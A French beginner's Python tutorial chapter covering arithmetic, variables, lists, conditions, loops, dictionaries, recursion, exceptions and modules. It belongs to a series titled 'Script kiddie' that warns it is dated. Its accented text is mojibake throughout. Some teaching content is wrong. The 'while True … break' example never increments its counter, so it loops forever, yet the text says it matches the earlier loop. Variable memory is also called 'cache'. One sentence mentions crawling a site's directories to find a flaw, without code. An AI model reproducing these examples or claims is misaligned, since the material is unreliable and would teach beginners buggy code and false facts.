NOTE Post Réécriture : Cet article, et bien dâautres, fait parti de la sĂ©rie âScript kiddieâ. Il a Ă©tĂ© Ă©crit il y a plusieurs annĂ©es. Son contenu nâest pas Ă jour et il contient potentiellement des erreurs. Plus dâinformation sur la page de prĂ©sentation de la sĂ©rie.
Dans ce chapitre, vous allez maĂźtriser un de vos premiers langages de programmation : Python. Pourquoi celui-ci et pas un autre ? Eh bien tout simplement parce quâil est :
- Facile Ă maĂźtriser pour un dĂ©butant nâayant aucune connaissance prĂ©alable en programmation.
- Pratique et transportable : Nâimporte quelle machine possĂ©dant Python pourra exĂ©cuter votre code.
- Modulable : Aucun besoin de rĂ©inventer la roue systĂ©matiquement, dâautres lâont dĂ©jĂ fait, vous pouvez la rĂ©utiliser.
Alors lançons-nous Ă la dĂ©couverte de ce langage aux allures faciles mais dont la complexitĂ© pouvant jaillir de ses mĂ©canismes en surprendra plus dâun !
Avant toutes choses, il est primordial de possĂ©der Python dans sa derniĂšre version (Ă lâheure oĂč jâĂ©cris, la 3.10). Il est possible que depuis la rĂ©daction de ce livre, bien des versions aient Ă©tĂ© créées. Pas dâinquiĂ©tude Ă avoir Ă ce propos, les grandes lignes resteront les mĂȘmes. Pour installer Python :
apt install python
Ă lâassaut de lâinterprĂ©teur
Lançons lâinterprĂ©teur Python :
$ python
Nous nous retrouvons en face dâune sorte de console oĂč le dollar est remplacĂ© par des chevrons :
>>>
Assez austĂšre Ă premiĂšre vue, lâinterprĂ©teur vous permettra dâessayer des bouts de code trĂšs rapidement sans avoir Ă exĂ©cuter lâentiĂšretĂ© dâun script. Nous pouvons dĂšs maintenant rentrer nos premiĂšres lignes de code, les plus importantes, les opĂ©rations arithmĂ©tiques de base :
>>> 3+2
5
>>> 10 - 5
5
>>> 9 * 8
72
>>> 5 / 2
2.5
Il existe mĂȘme un opĂ©rateur qui va vous paraĂźtre un peu inutile au dĂ©but, voir mĂȘme, incomprĂ©hensible : le modulo. Il renvoie le reste dâune division euclidienne entre le dividende et le diviseur :
>>> 5Â % 2
1
>>> 35 % 3
2
Faire des calculs est un plus, mais le mieux est encore de pouvoir stocker les valeurs quelque part afin de les rĂ©utiliser plus tard. Câest pourquoi lâinformatique a accouchĂ© dâun concept fort utile issue des mathĂ©matiques, les variables.
Ce sont de petites cases de la mĂ©moire de votre ordinateur, que vous allez affubler dâun nom et oĂč vous allez y inscrire une valeur. En python, on distingue plusieurs types de valeurs qui peuvent ĂȘtre mises au sein dâune variable :
- Les nombres : entiers, négatifs, flottants (à virgule)
- Les chaĂźnes de caractĂšres : appelĂ©es « string » en anglais, ce mot ne fait pas rĂ©fĂ©rence aux sous-vĂȘtements dâune dame aux vertus douteuses, mais plutĂŽt Ă un caractĂšre simple (une lettre, un symbole, ou mĂȘme un chiffre sur lequel on exĂ©cuterait aucune opĂ©ration mathĂ©matique) ou un mot, voir une phrase et pour les plus fous, un texte entier (il nây a pas vraiment de limite).
- Les boolĂ©ens : Vrai ou Faux (« True », « False » en anglais), type ne pouvant prendre quâune des deux valeurs. TrĂšs pratique lors de lâutilisation de conditions.
- Les listes : plusieurs variables mis au sein dâune mĂȘme variable.
Pour dĂ©clarer une variable en python, on note son nom, puis on lui assigne une valeur Ă lâaide du symbole Ă©gal :
>>> maVariable = 3
Par la suite, cette valeur est entrĂ©e en mĂ©moire durant toute lâexĂ©cution du programme. Les variables sont volatiles, câest-Ă -dire que la mĂ©moire sera effacĂ©e Ă la fin de lâexĂ©cution du programme. On dit alors que cette mĂ©moire est cache ou volatile, ce qui lui donne lâavantage dâĂȘtre trĂšs rapide, mais assez limitĂ© en taille. Veillez donc Ă trouver dâautres mĂ©thodes si vous vouliez sauvegarder dĂ©finitivement vos donnĂ©es issues du script.
On peut donc trÚs facilement avoir accÚs à la valeur mis en mémoire en tapant le nom de la variable :
>>> maVariable
3
De mĂȘme, les opĂ©rations arithmĂ©tiques sont tout Ă fait possibles avec les variables, que ça soit pour lâassignation de valeur (faire en sorte quâune variable a porte la valeur dâune variable b) ou juste pour lâobtention dâun rĂ©sultat :
>>> x = 2 + 3
>>> y = x * 4
>>> y
20
Ces lignes sont assez intĂ©ressantes pour lâesprit qui cherche Ă se divertir, mais ce qui nous intĂ©resse, câest lâĂ©criture de script plus complexe, ceux oĂč nous pourront rentrer une myriade dâinformations Ă la fois. Alors sautons le pas :)
Notre premier programme
Pour Ă©crire nos programmes python, nous aurons besoin dâun Ă©diteur de texte. Si vous nâen avez pas, je vous conseille de retrouver la partie sur lâĂ©dition dans le chapitre sur Linux.
Dans un deuxiĂšme temps, il nâest pas obligatoire de mettre le spĂ©cificateur dâinterprĂ©teur pour exĂ©cuter le fichier (il ne le faut que si le fichier est exĂ©cutĂ© comme vous exĂ©cuteriez un script bash). La commande pour lancer nos scripts sera donc :
python nomScript.py
Commençons donc Ă Ă©crire notre premier programme, il sâagira de demander Ă lâutilisateur son nom, puis de lâafficher, mais comment faire ?
Python dispose de nombreuses fonctions dites natives. Ce sont des bouts de codes écrits par les développeurs permettant de gagner un temps bien précieux et de ne pas réinventer la roue à chaque écriture de programme. Parmi ces fonctions, il y en a deux qui vont nous intéresser ici :
print(v1, v2, ...) : Afficher les valeurs comprises dans v1, v2, etc.input(phrase) : la chaĂźne de caractĂšre compris dans phrase, demande une saisie Ă lâutilisateur et renvoie la rĂ©ponse
Nous nous pencherons plus tard sur la vĂ©ritable conception dâune fonction,
retenez uniquement que ce sont des bouts de code que lâon appelle dans un but prĂ©cis.
Par exemple, si je reprends lâinterprĂ©teur python et que jâutilise la fonction print(),
le résultat sera bien prévisible :
>>> print("Salut !")
Salut !
Ce que nous avons mis dans la fonction est directement affichĂ©. Avec cette explication supplĂ©mentaire, le programme que nous devons coder ne devrait pas trop poser de problĂšmes durant son Ă©criture. Essayez de le faire vous-mĂȘme, je vous mets la rĂ©ponse ci-dessous pour que vous puissiez vĂ©rifier :
#!/bin/python
reponse = input("Rentrez votre nom : ")
print("Votre nom est ", reponse)
Explications : La fonction input() va afficher le texte « Rentrez votre nom : » Ă lâutilisateur.
Ce dernier va donc rentrer son nom et la valeur sera stockĂ©e Ă lâintĂ©rieur de la variable reponse.
La variable doit, Ă la fin, ĂȘtre affichĂ©e, câest pour cela que lâon utilise la fonction print(),
dans laquelle on rentre un texte sommaire pour prĂ©senter la valeur qui va ĂȘtre affichĂ©e,
et notre variable reponse.
NOTE : Vous pouvez visualiser plus dâinformations sur une fonction Ă lâaide de la fonction help(function). Pour quitter la notice, appuyez sur q.
Un deuxiÚme petit exercice pour la route, ça se tente ?
Je vous avais parlĂ© plus tĂŽt du type de variable nommĂ© liste, mais nous nâavons pas encore abordĂ© ce quâil en Ă©tait vraiment. Une liste est un ensemble de valeur (dâautres variables si vous prĂ©fĂ©rez) accessible et modifiable Ă nâimporte quel moment. Les Ă©lĂ©ments qui la composent sont mis entre crochets :
>>> maListe = []
Ici, notre liste est vide. Pour y ajouter des valeurs, il suffit de les séparer par une virgule en les notant un à un :
>>> maListe = [1, 4, 10]
Bien sûr, les listes peuvent combiner plusieurs types à la fois :
>>> maListe2 = ["chaussette", 143.78, False]
Pour accĂ©der Ă un Ă©lĂ©ment de la liste, il suffit ensuite de rentrer le nom de la liste, puis entre crochet, lâindex de lâĂ©lĂ©ment dans la liste, câest-Ă -dire le rang quâil occupe oĂč lâendroit oĂč il se trouve dedans.
Les listes ont cette spĂ©cificitĂ© dâavoir un systĂšme dâindexation un peu particulier. LâĂ©lĂ©ment numĂ©ro 1 aura pour index 0, le 2 aura 1, le 3 aura 2, etc. Câest une rĂšgle commune Ă tous les langages de programmation, les listes commencent par lâindex 0, et qui provoque bon nombre dâerreurs.
Pour accéder aux valeurs de maListe, il faudra donc taper :
>>> maListe[0]
1
>>> maListe[1]
4
>>> maListe[2]
10
Idem pour maListe2Â :
>>> maListe2[0]
'chaussette'
>>> maListe2[1]
143.78
>>> maListe2[2]
False
Ce quâil y a de plus fou dans lâutilisation des listes, câest la modification des Ă©lĂ©ments qui devient extrĂȘmement facile :
>>> maListe[0] = 123
Si on affiche le résultat, la valeur a bien été changée :
>>> print(maListe)
[123, 4, 10]
On reparlera un peu plus tard plus en dĂ©tail des listes, mais pour le moment, retenez que câest un type de donnĂ©e Ă part entiĂšre capable de supporter une multitude dâĂ©lĂ©ments en son sein.
Mais revenons Ă notre exercice. Si je vous ai fait cette petite digression sur les listes, câest que je vous sens prĂȘt Ă affronter un code plus costaud. Vous allez programmer un systĂšme oĂč lâutilisateur peu choisir un article de magasin parmi 5 et la machine lui renvoie le montant qui lui sera facturĂ© pour cet article. Pour vous aider, mettez les prix des produits sous la forme dâune liste, et demander Ă lâutilisateur le numĂ©ro du produit quâil dĂ©sire, ce dernier correspondra alors Ă lâindex du prix dans la liste.
Fonction dont on se servira : int(), input(), print()
NOTE : La fonction
int()permet de convertir une chaĂźne de caractĂšres en nombre.
Solution de lâexercice :
#!/bin/python
prix = [0.1, 0.3, 0.05, 0.4, 0.2]
print("Chosissez un article :")
print("[0] concombre")
print("[1] poire")
print("[2] fraise")
print("[3] orange")
print("[4] pomme")
rep = input("Entrez le numéro de votre choix : ")
rep = int(rep)
print("Vous devez payez : ", prix[rep], "âŹ")
NOTE : Vous pouvez utiliser trois apostrophes de chaque cĂŽtĂ© dâune chaĂźne de caractĂšres si vous voulez imprimer plusieurs lignes (''' texte ''').
Les conditions et les boucles
Mais que serait la programmation sans ce qui lui donna ses lettres de noblesse, Ă savoir la logique et lâautomatisation. Nous allons les Ă©tudier dans ce chapitre-ci, ce qui permettra dâagrĂ©er vos petits programmes dâune certaine logique et dâune complexitĂ© inĂ©dite.
Nous avions vu, lorsque nous abordions les types de donnĂ©es (variables) quâil en existait une sorte un peu spĂ©ciale nommĂ©e boolĂ©ens, mais que sont-ils vraiment ?
Je vous avais dit quâil ne pouvait sâagir que de deux possibilitĂ©s, soit vrai, soit faux, mais Ă quelle question ? Eh bien, Ă une proposition logique que lâon va donner Ă Python.
Les propositions logiques sont un peu du mĂȘme acabit de ce que lâon peut voir lorsque on aborde la logique en mathĂ©matique au lycĂ©e. On donne une proposition, et il faut dĂ©montrer si elle se trouve ĂȘtre vraie ou fausse, et ça, Python câest trĂšs bien le faire tout seul. Ces rĂ©ponses Ă nos propositions vont nous ĂȘtre utiles pour formuler des conditions, câest-Ă -dire des morceaux de code que lâon exĂ©cute si et seulement si la proposition posĂ©e au prĂ©alable est vraie. Les propositions sont bien souvent des comparaisons, mais aussi la vĂ©rification de la prĂ©sence dâun Ă©lĂ©ment dans une liste ou encore lâutilisation dâopĂ©rateur logique redonnant un rĂ©sultat sous forme de boolĂ©en :
Comparaison
| Opérateur | Explication |
|---|---|
| a == b | a est égal à b |
| a < b | A est strictement inférieur à b |
| a > b | A est strictement supérieur à b |
| a <= b | A est inférieur ou égal à b |
| a >= b | A est supérieur ou égal à b |
| c in texte | C est présent dans la chaßne texte |
Logique
| Opérateur | Explication |
|---|---|
| not a | Renvoie True si a est faux, et inversement |
| a or b | Ou inclusif : Renvoie True si a OU b est vrai |
| a and b | Et : Renvoie True si a ET b sont vrais |
Binaire
| Opérateur | Explication |
|---|---|
| a | b | Ou binaire : renvoie 1 si a OU b est 1 |
| a & b | Et binaire : renvoie 1 si a ET b sont 1 |
| a ^ b | Ou exclusif : Renvoie 1 si a OU b est 1, 0 si a ET b de mĂȘme valeur |
Maintenant que lâon connaĂźt les diffĂ©rentes propositions possibles, on va pouvoir les importer dans notre code Python afin de rendre nos programmes plus performants. Comme dans tout langage de programmation, les blocs if ⊠else ⊠(si ⊠sinon âŠ) sont utilisĂ©s afin de mettre en place nos conditions :
if condition:
faire...
Et avec un bloc else, qui va nous permettre dâexĂ©cuter du code si la condition est invalide, cela donne :
if condition:
faire...
else:
faire...
WARN : Tabuler son code est extrĂȘmement important en Python. Il permet au langage de reconnaĂźtre les blocs et de les exĂ©cuter correctement.
NOTE : Les espaces peuvent également servir à tabuler, veillez juste à en mettre le bon nombre à chaque ligne.
Petit exemple dâutilisation, on veut comparer deux nombres rentrer par lâutilisateur puis lui renvoyer lequel est supĂ©rieur Ă lâautre :
#!/bin/python
nb1 = int(input("Nombre 1 : "))
nb2 = int(input("Nombre 2 : "))
if nb1 < nb2:
print("Nombre 2 est supérieur à Nombre 1")
else:
print("Nombre 1 est supérieur à Nombre 2")
Les conditions ne sont vraiment pas compliquées à utiliser et constituent la base de la programmation logique.
Maintenant, une petite sĂ©rie dâexercice pour vĂ©rifier que la notion est bien comprise et quâelle ne vous pose aucun problĂšme (jâen suis sĂ»r) :
- Refaire le programme de comparaison de nombres, mais cette fois-ci avec 3 nombres saisis par lâutilisateur.
- Faire un programme permettant à un utilisateur de savoir si la lettre e est présente dans son prénom.
Abordons maintenant les boucles. Ce ne sont ni plus ni moins que des conditions qui vont
se rĂ©pĂ©ter jusquâĂ ce quâelles soient fausses. Une des premiĂšres boucles que nous allons voir est while.
While vient de lâanglais et veut dire « tant que », ce qui, mis dans un langage logique, veut dire « tant que ma condition est vraie, exĂ©cute ce bloc dâinstructions ». Traduit en Python, cela donne :
while condition:
fait...
WARN : Faites bien attention à ne pas créer de boucles infinies en insérant une condition qui ne soit jamais fausse. Votre ordinateur vous remerciera.
Par exemple, si nous voulions afficher le rĂ©sultat dâune variable qui est incrĂ©mentĂ©e Ă chaque fois, le code serait :
#!/bin/python
compteur = 0
while compteur < 5:
print("compteur = ", compteur)
compteur += 1
NOTE : Pour faire une assignation par opĂ©ration (une incrĂ©mentation par exemple), utilisez le symbole arithmĂ©tique voulu, suivi dâun Ă©gal et du nombre choisi.
Lâapparition des boucles a vu la crĂ©ation de deux nouveaux mot-clefs en plus : break et continue.
Le premier sert Ă arrĂȘter la boucle dĂ©finitivement, mĂȘme si la condition est encore valide ;
le second sert à sauter une itération de la boucle et à passer à la suivante, sauf si la condition est alors invalide.
Nous pourrions alors réécrire exactement le mĂȘme algorithme mais sous une forme diffĂ©rente :
#!/bin/python
compteur = 0
while True:
print("compteur = ", compteur)
if compteur >= 5:
break
Le rĂ©sultat est Ă©galement le mĂȘme, sauf que la condition de dĂ©part sera toujours valide (pourquoi serait-elle fausse ?).
Vous les sentez venir les nouveaux exercices :) Cette fois-ci, je vais ĂȘtre gentil, je ne vous en mets quâun seul mais qui va vous demander un peu plus de rĂ©flexion. On vous donne le code suivant permettant Ă lâutilisateur dâeffectuer des calculs entre deux nombres :
#!/bin/python
while True:
print('''=-= Machine Ă Calculs =-=
[1] Addition
[2] Soustraction
[3] Multiplication
[4] Division
[0] Quitter''')
choix = int(input("Faites votre choix : "))
ComplĂ©tez-le, de sorte quâil soit pleinement fonctionnel.
Vous pouvez demander Ă lâutilisateur de rentrer ses nombres avec la fonction input(),
nâoubliez juste pas de les transformer en nombre.
Abordons dÚs à présent le deuxiÚme type de boucle : for.
Ce type de boucle permet de parcourir un objet,
câest-Ă -dire dâexĂ©cuter le bloc de code pour chaque Ă©lĂ©ment de lâobjet.
Par exemple, elle pourra parcourir chaque caractĂšre dâune phrase ou encore,
chaque Ă©lĂ©ment dâune liste. De plus, Ă chaque itĂ©ration,
on met un compteur qui rĂ©cupĂšre la valeur de lâĂ©lĂ©ment Ă©tudier.
Petit exemple pour que vous puissiez comprendre :
#!/bin/python
for i in [1, 2, 3]:
print(i)
Le résultat sera :
1
2
3
De mĂȘme avec une chaĂźne de caractĂšres :
#!/bin/python
for i in "Salut !":
print(i)
OĂč le rĂ©sultat sera cette fois-ci :
S
a
l
u
t
!
Bien sĂ»r, dans nos exemples, jâai utilisĂ© i en tant que variable prenant la valeur de chaque Ă©lĂ©ment, mais vous pouvez la remplacer par ce que vous voulez. On met i par convention dâĂ©criture, câest tout.
Pour vous entraĂźner vous pouvez essayer de rĂ©aliser un petit algorithme renvoyant lâensemble des nombres premiers (divisibles uniquement par 1 et par eux-mĂȘmes, ex : 7) compris entre 1 et 100.
NOTE : Aidez-vous de la fonction native range(n) qui permet de parcourir les nombres entiers de 0 Ă n. Faites attention car n est exclu de la liste.
Dans la mĂȘme veine, essayez de crĂ©er un algorithme qui renvoie le nombre dâoccurrence de chaque caractĂšre dans une phrase peut ĂȘtre envisagĂ©. Pour ce faire, laissez-moi vous prĂ©senter un nouveau type de donnĂ©e un peu particulier : le dictionnaire.
Vous allez trĂšs certainement ĂȘtre surpris, car je vous ai menti, il nây a pas que quatre types de donnĂ©es en python, mais beaucoup plus, nous nâavions pas le temps de tous les aborder en dĂ©but de chapitre.
Les dictionnaires sont un type de liste, Ă lâexception que pour accĂ©der Ă une valeur, on ne se servira pas dâun index mais dâune clef, câest-Ă -dire une deuxiĂšme valeur. Il aura donc cette structure particuliĂšre :
dictionnaire = {"clef" : "valeur"}
Cela permet ainsi de clarifier plusieurs informations sur une variable. Admettons que vous ayez une voiture à décrire, eh bien le dictionnaire est votre plus grand ami :
voiture = {
"marque" : "peugeot",
"nom" : "406",
"chevaux" : 2,
"places" : 2,
"km" : 14567
}
WARN : Nâoubliez pas de sĂ©parer les diffĂ©rents attributs du dictionnaire par une virgule, comme dans lâexemple ci-dessus.
La modification devient beaucoup plus claire grùce au dictionnaire :
voiture["km"] += 1
Lâutilisation du dictionnaire va vous simplifier la vie pour lâexercice que je vous ai proposĂ©, vous allez pouvoir rentrer chaque caractĂšre apparaissant pour la premiĂšre fois comme une clef, et le nombre de fois oĂč il revient comme une valeur de cette clef. Je ne vous ai juste pas dit comment lâon parcourt un dictionnaire. Il existe trois mĂ©thodes, celle pour parcourir les clefs :
for i in dictionnaire.keys()Â :
# fait...
Celle pour, Ă lâinverse, parcourir les valeurs :
for i in dictionnaire.values()Â :
# fait...
Et la derniÚre, pour parcourir tout le dictionnaire, indépendamment des clefs ou des valeurs :
for i in dictionnaire.items()Â :
# fait...
Dans ce dernier cas, i va prendre la valeur dâun tuple, câest-Ă -dire une liste non-modifiable (encore un autre type de donnĂ©e dont jâai oubliĂ© de vous parler) qui aura pour index 0, la clef, et pour index 1, la valeur.
Vous devez maintenant ĂȘtre suffisamment armĂ© pour rĂ©ussir Ă faire cet exercice.
NOTE : Essayez de commenter votre code pour ne pas vous perdre, aujourdâhui ou dans un mois. Ajouter le symbole # devant une ligne et elle sera ignorĂ©e lors de lâexĂ©cution du programme.
Fonctions et récursivité
Maintenant que nous avons abordĂ© les boucles et les conditions, nous allons pouvoir parler dâun autre Ă©lĂ©ment trĂšs important de la programmation : les fonctions. Elles vont vous permettre de rĂ©pĂ©ter des morceaux de codes en dehors dâune boucle et Ă nâimporte quel moment. De mĂȘme, la rĂ©daction et la lecture de votre programme sera beaucoup plus simple.
Pour dĂ©clarer une fonction (notez le vocabulaire spĂ©cifique), il suffit dâutiliser le mot-clef def et de taper ensuite le nom de la fonction. Des paramĂštres peuvent ĂȘtre passĂ©s Ă la fonction, câest-Ă -dire des variables qui seront utilisĂ©es au sein de la fonction et seulement dans cet endroit.
La syntaxe ressemblera donc à ça :
def maFonction(param1, param2, etc):
# fait...
Si vous nâarrivez pas trop Ă vous reprĂ©senter le fonctionnement dâune fonction, eh bien repensez Ă vos cours de mathĂ©matiques (je sais, cet argument nâest pas trĂšs vendeur :/). On donne un antĂ©cĂ©dent Ă une fonction, elle opĂšre un certain nombre de calculs, et elle renvoie une image. En python, câest Ă peu prĂšs la mĂȘme chose, Ă lâexception prĂšs quâil nây a pas dâobligation quant au renvoi de valeur.
Par exemple, soit la fonction, sa représentation en Python serait :
#!/bin/python
def f(x):
return 3 * x + 2
Le mot-clef return est utilisĂ© pour renvoyer une valeur en dehors de la fonction que lâon va pouvoir rĂ©utiliser, par exemple pour afficher le rĂ©sultat Ă lâutilisateur :
print("L'images de la fonction f pour x = 2.5 est ", f(2.5))
Lâimage de la fonction f pour x = 2.5 est 9.5
LâutilitĂ© dâune telle fonction laisse Ă dĂ©sirer, mais imaginez-vous en train de programmer un trĂšs gros programmes permettant de retrouver lâensemble des rĂ©pertoires dâun site en vu de tous les visiter pour trouver une faille Ă exploiter. Eh bien nous pourrions trĂšs bien imaginer une premiĂšre fonction effectuant la recherche des dossiers, et une deuxiĂšme fonction dessinant une interface graphique pour rendre le logiciel plus pratique Ă lâutilisation.
DĂ©couper son code en plusieurs fonctions reprĂ©sentent un gain de temps lorsquâil faut exĂ©cuter plusieurs fois la mĂȘme action nĂ©cessitant un grand nombre de ligne. Prenez garde cependant Ă ne pas en abuser pour laisser votre code clairâŠ
Ce qui est pratique avec les fonctions, câest le jeu de paramĂštre que lâon peut mettre en place. On peut parfaitement voir un paramĂštre sâauto-dĂ©clarer dans la dĂ©finition de la fonction :
#!/bin/python
def suite(n, u=0):
for i in range(n):
u = u + 3
return u
Ici, mĂȘme si lâutilisateur nâa pas donnĂ© de valeur Ă u, le programme en a tout de mĂȘme une par dĂ©faut, ce qui va Ă©viter de ressortir une erreur. Dans le cas prĂ©sent, lâutilisation dâune telle mĂ©thode est inutile, mais on pourrait trĂšs bien imaginer une fonction qui dessinerait une fenĂȘtre pour un programme et qui demanderait Ă lâutilisateur la taille quâil souhaite en longueur et en largeur. Avoir une taille par dĂ©faut dans le cas oĂč elle nâest pas prĂ©cisĂ©e est une idĂ©e excellente, car elle permet de continuer lâexĂ©cution sans tout bloquer pour une information mineure manquante.
De mĂȘme que lâon peut jouer avec les paramĂštres, il est tout Ă fait possible de jouer avec la structure mĂȘme des fonctions. Vous nây avez sĂ»rement pas pensĂ©, mais que se passerait-il si on appelait une fonction en son sein en lui donnant diffĂ©rents paramĂštres :
#!/bin/python
def f(n=5):
print(n)
if n > 0:
f(n-1)
Le rĂ©sultat va ĂȘtre le mĂȘme que si lâon avait fait une boucle for, mais Ă lâenvers. Nous venons de crĂ©er ce quâon appelle une fonction rĂ©cursive. Elles peuvent servir de boucle, bonne alternative aux autres mĂ©thodes dites itĂ©ratives.
NOTE : Bien que les fonctions rĂ©cursives soient fortes utiles, les boucles itĂ©ratives resteront majoritaires dans vos codes. Lâutilisation de lâune des deux se fait dans des cas prĂ©cis que vous arriverez Ă dĂ©tecter avec le temps.
WARN : Veillez bien Ă arrĂȘter lâouverture de nouvelles fonctions, vous vous retrouveriez dans le mĂȘme cas quâune boucle infinie sinon.
Il y a quelques notions associĂ©es Ă ces fonctions rĂ©cursives. La premiĂšre, il existe une pile dâexĂ©cution sur laquelle les diffĂ©rentes ouvertures de fonction vont sâempiler. Comme toute pile, elle atteint une hauteur maximale, ce qui vous sera signalĂ© par Python avec RecursionError: maximum recursion depth exceeded.
A lâinverse du code Python standard qui peut ĂȘtre vu comme une file oĂč chaque instruction sort au fur et Ă mesure, la pile dâexĂ©cution des fonctions fonctionnent tant que lâon peut empiler. Elle dĂ©pile successivement les fonctions de la derniĂšre ouverte jusquâĂ la premiĂšre.
NOTE : On parle de méthode LIFO pour une pile : Last in First out. Quant aux files, on parle de FIFO : First in First out.
Les fonctions rĂ©cursives amĂšnent donc de nouvelles maniĂšres de travailler en proposant deux maniĂšres de voir le code en fonction de lâutilisation de boucles itĂ©ratives ou rĂ©cursives. La premiĂšre est appelĂ©e Bottom-Up, on part dâune valeur n Ă©gal Ă 0 et on sâarrĂȘte Ă un certain rang, câest ce que vous faites lorsque vous utilisez la boucle for. La deuxiĂšme, nommĂ©e Top-Down, on part dâune valeur n donnĂ© supĂ©rieur Ă 0, et on diminue de un en un jusquâĂ n = 0.
Ces deux mĂ©thodes vont permettre de modifier la complexitĂ© de votre code, câest-Ă -dire dâoptimiser certains passages pour les rendre plus rapide Ă lâexĂ©cution.
Depuis un moment, je vous parle dâerreurs, mais nous nâavons toujours pas abordĂ© le sujet en profondeur. Alors laissez-moi vous prĂ©senter le monde fascinant des erreurs en Python avant une petite sĂ©ance dâexercices.
Lorsque vous Ă©crivez un programme et quâune action non autorisĂ©e est exĂ©cutĂ©e, Python va lever une exception, câest-Ă -dire une erreur Ă nos yeux. Bien que la plupart du temps, ces derniĂšres nous embĂȘtent et nous agacent au plus haut point, mais elles peuvent sâavĂ©rer utiles quand on les maĂźtrise. Au lieu de laisser un message barbare sâafficher au visage de vos utilisateurs, on peut rĂ©cupĂ©rer cette expression et la transformer pour lâafficher mais de maniĂšre plus soutenue sans freiner lâexĂ©cution.
Pour ce faire, on utilise le bloc try ⊠except âŠÂ :
#!/bin/python
try:
# faire...
except TypeErreur:
# faire...
Par exemple, on crĂ©e la fonction inverse en Python, et on propose Ă lâutilisateur de rentrer lui-mĂȘme le dĂ©nominateur :
#!/bin/python
def inverse(x):
return 1 / x
print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
Que se passerait-il si lâutilisateur rentrait le chiffre 0 ? Le programme va lever une exception, car on ne peut diviser par 0 en mathĂ©matique :
Rentrez x : 0
Traceback (most recent call last):
 File "/home/jacky/f.py", line 5, in <module>
   print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
 File "/home/jacky/f.py", line 3, in inverse
   return 1 / x
ZeroDivisionError: division by zero
Ici, câest lâerreur ZeroDivisionError, il existe un paquet dâautres types dâerreurs.
Je ne vous les mets pas la liste complÚte des erreurs, vous aurez bien le temps de toutes le découvrir.
La solution est alors dâutiliser try pour lever une exception et invalider la demande de lâutilisateur :
#!/bin/python
def inverse(x):
try:
return 1 / x
except ZeroDivisionError:
print("Division par 0 interdite")
return 0
print("L'inverse de votre nombre est : ", inverse(int(input("Rentrez x : "))))
Rentrez x : 0
Division par 0 interdite
L'inverse de votre nombre est : Â 0
Notre erreur est rĂ©solue et ne ruine pas lâexpĂ©rience dâutilisation.
NOTE : SpĂ©cifier une erreur nâest pas obligatoire.
exceptseul peut lever une exception. Cependant, spĂ©cifier la nature de lâexception permet de rajouter de la clartĂ© Ă votre code.
De la mĂȘme maniĂšre, Python ne possĂšde pas des exceptions pour tous les cas de figures, il va donc falloir crĂ©er vos propres erreurs afin dâengager des actions plus propres Ă vos exigences. Mais nous ne pourrons pas voir ça pour lâinstant, vous nâavez pas les compĂ©tences nĂ©cessaires pour quâon puisse en parler.
Le mot-clef qui sera utilisĂ© pour cette action peut tout de mĂȘme ĂȘtre utile
pour afficher de plus amples informations Ă lâutilisateur en cas dâexception
sans utiliser dâinstruction print(), il sâagit de raise :
raise typeErreur(msg)
Par exemple, dans un programme qui demande Ă lâutilisateur de rentrer un nombre avec la fonction input()Â :
#!/bin/python
nb = input("Rentrez un nombre : ")
try:
int(nb)
except:
raise ValueError("Vous n'avez pas rentré un nombre")
NOTE : Le mot-clef raise interrompt lâexĂ©cution comme une erreur classique.
Petite sĂ©ance dâexercices maintenant, il vous faut :
- Programmer la fonction carrĂ©e Ă lâaide de lâopĂ©rateur **
- Programmer la fonction
divisible(a, b)qui renvoieTruesi a est divisible par b. La fonction lĂšve lâexceptionValueErrorsi a < b. - Programmer la fonction
diviseur(a)qui renvoie une liste des diviseurs de a. - Programmer la fonction
PGCD(a, b)qui renvoie le plus grand diviseur commun de a et b.
Comme dâhabitude, je ne vous mets pas de correction, vous arriverez trĂšs bien Ă force de persĂ©vĂ©rance, Ă vous rendre compte si votre code fonctionne ou non. Câest dâailleurs lĂ lâobjectif de ces exercices, vous faire chercher, jusquâĂ ce que vous compreniez ce que vous faites.
NOTE : Pour ceux fùchés avec les maths : un nombre entier a est divisible par un autre nombre entier b, si et seulement si le reste de la division euclidienne de a par b donne 0. Autrement dit, a % b = 0.
NOTE : Gardez bien dans un fichier les fonctions sur les diviseurs et le PGCD, nous en auront besoin plus tardâŠ
Modularité
Ă force de me lire, vous devez commencer Ă comprendre certaines logiques inhĂ©rentes Ă la programmation et lâalgorithmie, et notamment une loi impitoyable qui sâappelle la paresse. Comme chaque ĂȘtre humain, les dĂ©veloppeurs sont partisans du moindre effort, ou du moins, quand ils le peuvent. Afin dâĂ©viter de rĂ©inventer la roue Ă chaque programme, ils ont mis en place les modules (ou librairies), bribes de codes Ă partager Ă tous simplifiant certaines utilisations de Python.
Il existe des modules pour tout et surtout pour rien. Pour générer des nombres aléatoires, utiliser les commandes du systÚme, faire tourner plusieurs processus en arriÚre plan ou encore pour utiliser certains algorithmes comme le base64.
Afin de simplifier leurs utilisations et leur partage, un site répertoriant tous les modules existe : https://pypi.org/.
Pour installer un de ces paquets, la commande utilisĂ©e sera pip, quel que soit le systĂšme dâexploitation que vous utilisez :
pip install [paquet]
Rappelez-vous la commande issue de la partie sur Linux pour installer des paquets depuis un fichier de dépendances :
pip install -r requirements.txt
NOTE : Pip est prĂ©installĂ© sur les versions 3.10 et supĂ©rieurs de Python. Si ce nâest pas le cas pour vous, suivez les instructions de la doc pour lâinstaller manuellement.
Mais revenons à nos modules. Beaucoup des plus utiles sont déjà installés avec Python, et nous allons en découvrir quelques-uns. Le premier est le module random, permettant de générer des nombres aléatoires.
Afin dâimporter un module en Python, on utilise lâinstruction import suivie du nom du module :
#!/bin/python
import random
Maintenant que notre module est importĂ©, nous pouvons commencer Ă utiliser ses fonctions. Cependant, il va falloir faire un premier pas dans le chapitre dâaprĂšs pour comprendre comment toutes ces fonctions sont ajoutĂ©es Ă Python.
Python est un langage orientĂ© objet, câest-Ă -dire que le dĂ©veloppement de logiciel se fait selon la logique que nâimporte quel Ă©lĂ©ment possĂšde ce que lâon appelle des mĂ©thodes. Ces mĂ©thodes sont-elles mĂȘmes des objets invoquant de nouvelles mĂ©thodes, qui sont elles-mĂȘmes des objets invoquant de⊠Bref, câest une rĂ©gression Ă lâinfini, tout ça pour dire que les objets et leurs mĂ©thodes sont omniprĂ©sents dans Python.
Je vous ai parlĂ© dâobjets tout au long de ce livre sans jamais vraiment les dĂ©finir. Les objets sont toutes les donnĂ©es que vous avez ou allez manipuler, il en existe plusieurs types : les nombres, les caractĂšres, les listes, les tuples, les fonctions, les modules, les dictionnaires, etc.
